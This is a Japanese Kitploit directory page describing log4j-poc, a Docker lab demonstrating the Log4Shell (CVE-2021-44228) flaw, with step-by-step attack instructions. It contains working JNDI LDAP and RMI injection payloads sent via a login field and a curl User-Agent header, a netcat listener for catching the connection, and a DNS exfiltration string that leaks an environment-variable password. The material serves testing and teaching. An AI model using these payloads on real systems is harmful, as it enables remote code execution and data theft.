Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4j-poc — CVE-2021-44228 Log4Shell向けのDockerベースLDAP RCEエクスプロイトデモ | Kitploit
ツール/GitHubGitHub/cyberxml/log4j-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubcyberxml/log4j-poc

log4j-poc

CVE-2021-44228 Log4Shell向けのDockerベースLDAP RCEエクスプロイトデモ

リポジトリを見る
723353年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

log4j-poc

CVE-2021-44228 Log4Shell 用の LDAP RCE エクスプロイト

説明

ポート8080のデモTomcat 8サーバーには、脆弱なアプリケーション(log4shell)がデプロイされており、サーバーはUser-Agent攻撃に対しても脆弱です。

このデモのリモートエクスプロイトアプリは、https://github.com/kozmer/log4j-shell-poc にあるものに基づいています。

このデモTomcatサーバー(Tomcat 8.5.3、Java 1.8.0u51)は、ログ記録にLog4J2を使用するように再構成されています(非標準構成)。

より新しいBitnamiサーバーがポート8888で利用可能です。こちらもLog4J2ログ記録用に構成されており、Tomcat 9.0.55とOpenJDK 11.0.13で動作しています。

Tomcat 9 / Java 11サーバーに対するRMIエクスプロイトは、こちらで説明されています:https://www.veracode.com/blog/research/exploiting-jndi-injections-java (2019年1月3日) by Michael Stepankin

検出スクリプトはUser-Agentの脆弱性をチェックし、こちらから取得しています:https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

前提条件

このコードにはDockerとDocker Composeが必要です。

インストール

root@kitploit:~
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# edit docker-compose.yml to addjust the environment variables as needed.
#   POC_ADDR is the address of the cve-poc container
#   LISTENER_ADDR is the address of the 'nc' listener e.g. the docker host
# The listener IP address is the address of the machine on which you will run the netcat 'nc' listener
# This can be the local IP of the docker hostmachine.
docker-compose build

Webアプリ攻撃デモの実行

  1. 最初のターミナルでDockerリスナーをセットアップする
    1. nc -lv 10.10.10.31 9001
  2. 2番目のターミナルでDockerコンテナを起動する
    1. docker-compose up
  3. ポート8080のWebアプリにアクセスする
    1. http://10.10.10.31:8080/log4shell にアクセスする
      1. ユーザー名を入力: admin
      2. パスワードを入力: password
      3. 「ログイン」ボタンを選択する
      4. ウェルカム画面が表示される
    2. http://10.10.10.31:8080/log4shell に戻ってログインする
      1. ユーザー名を入力: ${jndi:ldap://172.16.238.11:1389/a}
      2. 「ログイン」ボタンを選択する
      3. ncリスナーで接続を確認する

User-Agent攻撃デモの実行

  1. 最初のターミナルでDockerリスナーをセットアップする
    1. nc -lv 10.10.10.31 9001
  2. 2番目のターミナルでDockerコンテナを起動する
    1. docker-compose up
  3. 3番目のターミナルで以下を実行します。2番目のIPはDockerホストです
    1. curl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shell

最新Java 11バージョンでのDNS Exfilデモの実行

  1. ターミナルでDockerコンテナを起動する
    1. docker-compose up
  2. 2番目のターミナルで以下を実行します。IPはDockerホストのIPアドレスです
    1. curl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/
  3. 脆弱なWebサーバーは、指定されたIPに対してTXTルックアップを試みます。log4j-dns_exfil.pcapを参照してください

最新Java 11バージョンでのRMI RCEデモの実行

pingターゲットのコマンドライン引数に問題があります。そのため、自分でコンパイルする必要があります。

コンパイル

  1. ターミナルでDockerコンテナを起動する
    1. docker-compose up
  2. 別のターミナルでcve-pocにログインする
    1. docker exec -it log4j-poc_cve-poc_1 /bin/bash
  3. 実行中のRMIServerPOCインスタンスを強制終了する
  4. rmi-pocディレクトリに移動する
    1. cd /home/user/rmi-poc
  5. RMIServerPOC.javaを編集して10.10.10.31を自分のpingターゲットに変更する
  6. 再コンパイルする
    1. javac -cp catalina.jar:. RMIServerPOC.java
  7. サーバーを実行する
    1. javac -cp catalina.jar:. RMIServerPOC 127.0.0.1

RMI RCEデモの実行

  1. ターミナルでDockerコンテナを起動する
    1. docker-compose up
  2. 2番目のターミナルで以下を実行します。IPはDockerホストのIPアドレスです
    1. curl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/
  3. 脆弱なWebサーバーは、Tomcat環境に既に存在するクラスのために、RMIサーバーからシリアル化された悪意のあるクラスをダウンロードします。
  4. これにより、コンパイルセクションで定義されたIPアドレスにpingが実行されます。

UA脆弱性の検出

  1. cd scripts
  2. python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2
  3. プロセスを強制終了する必要があります。なぜハングするのかはまだ不明です。
ツールをダウンロード